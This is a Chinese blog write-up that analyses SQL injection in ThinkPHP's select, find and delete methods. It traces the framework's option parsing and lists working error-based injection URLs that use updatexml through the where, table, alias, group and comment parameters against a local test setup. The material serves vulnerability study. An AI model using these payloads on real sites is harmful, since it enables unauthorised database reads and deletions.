大佬的文章 已经写得很深刻了,我这里自己捋了一遍

Ready

下载thinkphp最新版,切换到漏洞修补之前的版本

1
2
git clone https://github.com/top-think/thinkphp
git checkout 109bf30

创建数据库,更改/ThinkPHP/Conf/convention.php中的数据库配置

select|find注入

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
$id = I('get.id');
M('users')->where('1=1')->select($id);
//M('users')->where('1=1')->find($id);
}
}

有几种payload可通过报错注入注出数据,如下:

1
2
3
where:http://127.0.0.1:4000/index.php?id[where]=1+and+updatexml(1,concat(0x7e,user()),1)
table:http://127.0.0.1:4000/index.php?id[table]=users+where+1+and+updatexml(1,concat(0x7e,user()),1)%23
alias:http://127.0.0.1:4000/index.php?id[alias]=where+1+and+updatexml(1,concat(0x7e,user()),1)%23

进入代码查看select函数/ThinkPHP/Library/Think/Model.class.php:582

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public function select($options = array())
{
$pk = $this->getPk();
if (is_string($options) || is_numeric($options)) {
// 根据主键查询
if (strpos($options, ',')) {
$where[$pk] = array('IN', $options);
} else {
$where[$pk] = $options;
}
$options = array();
$options['where'] = $where;
} elseif (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) {
$count++;
}

}
if (count($pk) == $count) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
} elseif (false === $options) {
// 用于子查询 不查询只返回SQL
$options['fetch_sql'] = true;
}
// 分析表达式
$options = $this->_parseOptions($options);

我们传入的数组,系统会通过上面最后一行的$this->_parseOptions($options)去分析组合,跟进查看,同文件第680行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected function _parseOptions($options = array())
{
if (is_array($options)) {
$options = array_merge($this->options, $options);
}

if (!isset($options['table'])) {
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
} else {
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields();
}

// 数据表别名
if (!empty($options['alias'])) {
$options['table'] .= ' ' . $options['alias'];
}
// 记录操作的模型名称
$options['model'] = $this->name;

// 字段类型验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key => $val) {
$key = trim($key);
if (in_array($key, $fields, true)) {
if (is_scalar($val)) {
$this->_parseType($options['where'], $key);
}
}
}
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
}

在第一个判断,代码就将我们传入$options和系统中已经存在的$this->options合并了,然后经过这里的一部分处理后,后面会进入各种parseXXX的相应处理,最终组装成SQL语句,代码/ThinkPHP/Library/Think/Db/Driver.class.php:1096

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function parseSql($sql, $options = array())
{
$sql = str_replace(
array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
$this->parseField(!empty($options['field']) ? $options['field'] : '*'),
$this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
$this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
$this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
$this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
$this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
$this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
$this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
$this->parseLock(isset($options['lock']) ? $options['lock'] : false),
$this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
$this->parseForce(!empty($options['force']) ? $options['force'] : ''),
), $sql);
return $sql;
}

也就是由于我们可以控制整个$options,然后像大佬说的上面代码中任何的parseXXX都有可能是注入点

这里我也只分析当前文件的几个注入点,$options['table']是直接使用的我们传入的内容,根据下面的代码可知,我们无法获取到表前缀的情况就无法使用

1
2
3
4
5
6
7
8
if (!isset($options['table'])) {
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
} else {
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields();
}

如果$options['alias']存在时,就直接拼接到表名的后面

1
2
3
4
// 数据表别名
if (!empty($options['alias'])) {
$options['table'] .= ' ' . $options['alias'];
}

$options['where']则需要经过字段名和字段类型的检验,但我们可控的还有$val

1
2
3
4
5
6
7
8
foreach ($options['where'] as $key => $val) {
$key = trim($key);
if (in_array($key, $fields, true)) {
if (is_scalar($val)) {
$this->_parseType($options['where'], $key);
}
}
}

上面的几个点,最后经过parseXXX处理后,恶意代码仍然保留,导致注入,find函数的流程程基本和上面类似,略过

delelte注入

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
$id = I('get.id');
//M('users')->where('1=1')->select($id);
M('users')->where('1=1')->delete($id);
}
}

delete基本也差不多,但是在分析完表达式后,有一个判断,我们必须保证$options['where']不为空才行

1
2
3
4
5
$options = $this->_parseOptions($options);
if (empty($options['where'])) {
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}

给出delete时的payload:

1
2
3
where:http://127.0.0.1:4000/index.php?id[where]=1+and+updatexml(1,concat(0x7e,user()),1)
table:http://127.0.0.1:4000/index.php?id[table]=users+where+1+and+updatexml(1,concat(0x7e,user()),1)%23&id[where]=1%3d1
http://127.0.0.1:4000/index.php?id[alias]=where+1+and+updatexml(1,concat(0x7e,user()),1)%23&id[where]=1%3d1

补充

1
2
[group]http://127.0.0.1:4000/index.php?id[group]=(updatexml(0,concat(0x7e,user()),1))
[comment]http://127.0.0.1:4000/index.php?id[comment]=*/and+updatexml(0,concat(0x7e,user()),1)/*

参考

https://xz.aliyun.com/t/2631
https://xz.aliyun.com/t/2630